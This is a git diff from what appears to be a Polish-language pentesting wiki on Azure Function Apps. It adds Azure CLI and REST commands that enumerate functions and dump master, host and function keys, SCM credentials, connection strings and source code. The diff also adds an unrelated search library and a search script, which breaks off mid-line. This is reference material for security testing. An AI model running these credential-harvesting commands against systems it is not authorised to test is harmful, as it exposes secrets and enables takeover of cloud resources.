+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm +{{#endref}} Zauważ, że musisz znaleźć sposób na **sprawdzenie wszystkich zarządzanych tożsamości, które funkcja ma przypisane**, ponieważ jeśli tego nie wskażesz, punkt końcowy metadanych **użyje tylko domyślnej** (sprawdź poprzedni link, aby uzyskać więcej informacji). ## Klucze dostępu > [!NOTE] -> Zauważ, że nie ma uprawnień RBAC do udzielania użytkownikom dostępu do wywoływania funkcji. **Wywołanie funkcji zależy od wyzwalacza** wybranego podczas jej tworzenia, a jeśli wybrano wyzwalacz HTTP, może być konieczne użycie **klucza dostępu**. +> Zauważ, że nie ma uprawnień RBAC, aby udzielić użytkownikom dostępu do wywoływania funkcji. **Wywołanie funkcji zależy od wyzwalacza** wybranego podczas jej tworzenia, a jeśli wybrano wyzwalacz HTTP, może być konieczne użycie **klucza dostępu**. Podczas tworzenia punktu końcowego wewnątrz funkcji za pomocą **wyzwalacza HTTP** możliwe jest wskazanie **poziomu autoryzacji klucza dostępu** potrzebnego do wywołania funkcji. Dostępne są trzy opcje: - **ANONYMOUS**: **Każdy** może uzyskać dostęp do funkcji przez URL. -- **FUNCTION**: Punkt końcowy jest dostępny tylko dla użytkowników korzystających z **klucza funkcji, hosta lub klucza głównego**. +- **FUNCTION**: Punkt końcowy jest dostępny tylko dla użytkowników korzystających z **klucza funkcji, hosta lub głównego**. - **ADMIN**: Punkt końcowy jest dostępny tylko dla użytkowników z **kluczem głównym**. **Rodzaje kluczy:** - **Klucze funkcji:** Klucze funkcji mogą być domyślne lub zdefiniowane przez użytkownika i są zaprojektowane, aby przyznać dostęp wyłącznie do **konkretnych punktów końcowych funkcji** w aplikacji funkcji, co pozwala na bardziej szczegółowy dostęp do punktów końcowych. - **Klucze hosta:** Klucze hosta, które mogą być również domyślne lub zdefiniowane przez użytkownika, zapewniają dostęp do **wszystkich punktów końcowych funkcji w aplikacji funkcji z poziomem dostępu FUNCTION**. -- **Klucz główny:** Klucz główny (`_master`) służy jako klucz administracyjny, który oferuje podwyższone uprawnienia, w tym dostęp do wszystkich punktów końcowych funkcji (w tym poziom ADMIN). Ten **klucz nie może być cofnięty.** +- **Klucz główny:** Klucz główny (`_master`) służy jako klucz administracyjny, który oferuje podwyższone uprawnienia, w tym dostęp do wszystkich punktów końcowych funkcji (w tym poziom dostępu ADMIN). Ten **klucz nie może być cofnięty.** - **Klucze systemowe:** Klucze systemowe są **zarządzane przez konkretne rozszerzenia** i są wymagane do uzyskania dostępu do punktów końcowych webhooków używanych przez wewnętrzne komponenty. Przykłady obejmują wyzwalacz Event Grid i Durable Functions, które wykorzystują klucze systemowe do bezpiecznej interakcji z ich odpowiednimi interfejsami API. > [!TIP] @@ -96,7 +98,7 @@ Podczas tworzenia punktu końcowego wewnątrz funkcji za pomocą **wyzwalacza HT ### Podstawowa autoryzacja -Podobnie jak w App Services, Funkcje również obsługują podstawową autoryzację do łączenia się z **SCM** i **FTP** w celu wdrożenia kodu za pomocą **nazwa użytkownika i hasło w URL** dostarczonym przez Azure. Więcej informacji na ten temat w: +Podobnie jak w Usługach Aplikacji, Funkcje również obsługują podstawową autoryzację do łączenia się z **SCM** i **FTP** w celu wdrożenia kodu za pomocą **nazwa użytkownika i hasło w URL** dostarczonym przez Azure. Więcej informacji na ten temat w: {{#ref}} az-app-services.md @@ -192,7 +194,7 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} ``` -Ponadto, **Zarządzana Tożsamość** jest również tworzona, aby akcja Github z repozytorium mogła się zalogować do Azure. Dzieje się to poprzez wygenerowanie poświadczenia federacyjnego dla **Zarządzanej Tożsamości**, umożliwiającego **Wydawcy** `https://token.actions.githubusercontent.com` oraz **Identyfikatorowi Podmiotu** `repo:/:ref:refs/heads/`. +Ponadto, **Zarządzana Tożsamość** jest również tworzona, aby akcja Github z repozytorium mogła się zalogować do Azure. Odbywa się to poprzez wygenerowanie poświadczenia federacyjnego dla **Zarządzanej Tożsamości**, umożliwiającego **Wydawcy** `https://token.actions.githubusercontent.com` oraz **Identyfikatorowi Podmiotu** `repo:/:ref:refs/heads/`. > [!CAUTION] > Dlatego każdy, kto skompromituje to repozytorium, będzie mógł skompromitować funkcję oraz Zarządzane Tożsamości do niej przypisane. @@ -211,10 +213,10 @@ Ponadto, **żaden kod źródłowy nie będzie przechowywany w koncie** magazynow # List all the functions az functionapp list -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# List functions in an function-app (endpoints) +az functionapp function list \ +--name \ +--resource-group # Get details about the source of the function code az functionapp deployment source show \ @@ -231,6 +233,9 @@ az functionapp config container show \ # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group +# Get access restrictions +az functionapp config access-restriction show --name --resource-group + # Check if a domain was assigned to a function app az functionapp config hostname list --webapp-name --resource-group @@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group # Get network restrictions az functionapp config access-restriction show --name --resource-group -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" +# Get acess restrictions +az functionapp config access-restriction show --name --resource-group + +# Get connection strings +az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/connectionstrings/list?api-version=2022-03-01" +az rest --method GET --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/configreferences/connectionstrings?api-version=2022-03-01" + +# Get SCM credentials +az functionapp deployment list-publishing-credentials --name --resource-group + +# Get function, system and master keys +az functionapp keys list --name --resource-group + +# Get Host key +az rest --method POST --uri "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" # Get source code with Master Key of the function curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v +curl "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v + +# Get source code using SCM access (Azure permissions or SCM creds) +az rest --method GET \ +--url "https://.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" \ +--resource "https://management.azure.com/" + +# Get source code with Azure permissions +az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +## Another example +az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01" -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash Get-Command -Module Az.Functions # Lists all Function Apps in the current subscription or in a specific resource group. diff --git a/theme/elasticlunr.min.js b/theme/elasticlunr.min.js new file mode 100644 index 000000000..32cb1bce1 --- /dev/null +++ b/theme/elasticlunr.min.js @@ -0,0 +1,10 @@ +/** + * elasticlunr - http://weixsong.github.io + * Lightweight full-text search engine in Javascript for browser search and offline search. - 0.9.5 + * + * Copyright (C) 2016 Oliver Nightingale + * Copyright (C) 2016 Wei Song + * MIT Licensed + * @license + */ +!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e||void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n0&&t.push(e);for(var i in n)"docs"!==i&&"df"!==i&&this.expandToken(e+i,t,n[i]);return t},t.InvertedIndex.prototype.toJSON=function(){return{root:this.root}},t.Configuration=function(e,n){var e=e||"";if(void 0==n||null==n)throw new Error("fields should not be null");this.config={};var i;try{i=JSON.parse(e),this.buildUserConfig(i,n)}catch(o){t.utils.warn("user configuration parse failed, will use default configuration"),this.buildDefaultConfig(n)}},t.Configuration.prototype.buildDefaultConfig=function(e){this.reset(),e.forEach(function(e){this.config[e]={boost:1,bool:"OR",expand:!1}},this)},t.Configuration.prototype.buildUserConfig=function(e,n){var i="OR",o=!1;if(this.reset(),"bool"in e&&(i=e.bool||i),"expand"in e&&(o=e.expand||o),"fields"in e)for(var r in e.fields)if(n.indexOf(r)>-1){var s=e.fields[r],u=o;void 0!=s.expand&&(u=s.expand),this.config[r]={boost:s.boost||0===s.boost?s.boost:1,bool:s.bool||i,expand:u}}else t.utils.warn("field name in user configuration not found in index instance fields");else this.addAllFields2UserConfig(i,o,n)},t.Configuration.prototype.addAllFields2UserConfig=function(e,t,n){n.forEach(function(n){this.config[n]={boost:1,bool:e,expand:t}},this)},t.Configuration.prototype.get=function(){return this.config},t.Configuration.prototype.reset=function(){this.config={}},lunr.SortedSet=function(){this.length=0,this.elements=[]},lunr.SortedSet.load=function(e){var t=new this;return t.elements=e,t.length=e.length,t},lunr.SortedSet.prototype.add=function(){var e,t;for(e=0;e1;){if(r===e)return o;e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o]}return r===e?o:-1},lunr.SortedSet.prototype.locationFor=function(e){for(var t=0,n=this.elements.length,i=n-t,o=t+Math.floor(i/2),r=this.elements[o];i>1;)e>r&&(t=o),r>e&&(n=o),i=n-t,o=t+Math.floor(i/2),r=this.elements[o];return r>e?o:e>r?o+1:void 0},lunr.SortedSet.prototype.intersect=function(e){for(var t=new lunr.SortedSet,n=0,i=0,o=this.length,r=e.length,s=this.elements,u=e.elements;;){if(n>o-1||i>r-1)break;s[n]!==u[i]?s[n]u[i]&&i++:(t.add(s[n]),n++,i++)}return t},lunr.SortedSet.prototype.clone=function(){var e=new lunr.SortedSet;return e.elements=this.toArray(),e.length=e.elements.length,e},lunr.SortedSet.prototype.union=function(e){var t,n,i;this.length>=e.length?(t=this,n=e):(t=e,n=this),i=t.clone();for(var o=0,r=n.toArray();o { "use strict"; - window.search = window.search || {}; - (function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; + + /* ───────────── 0. helpers (main thread) ───────────── */ + const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); }; + + /* ───────────── 1. Web‑Worker code ─────────────────── */ + const workerCode = ` + self.window = self; + self.search = self.search || {}; + const abs = p => location.origin + p; + + /* 1 — elasticlunr */ + try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); } + catch { importScripts(abs('/elasticlunr.min.js')); } + + /* 2 — load a single index (remote → local) */ + async function loadIndex(remote, local, isCloud=false){ + let rawLoaded = false; + try { + const r = await fetch(remote,{mode:'cors'}); + if (!r.ok) throw new Error('HTTP '+r.status); + importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'}))); + rawLoaded = true; + } catch(e){ console.warn('remote',remote,'failed →',e); } + if(!rawLoaded){ + try { importScripts(abs(local)); rawLoaded = true; } + catch(e){ console.error('local',local,'failed →',e); } } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} - } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); - }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = 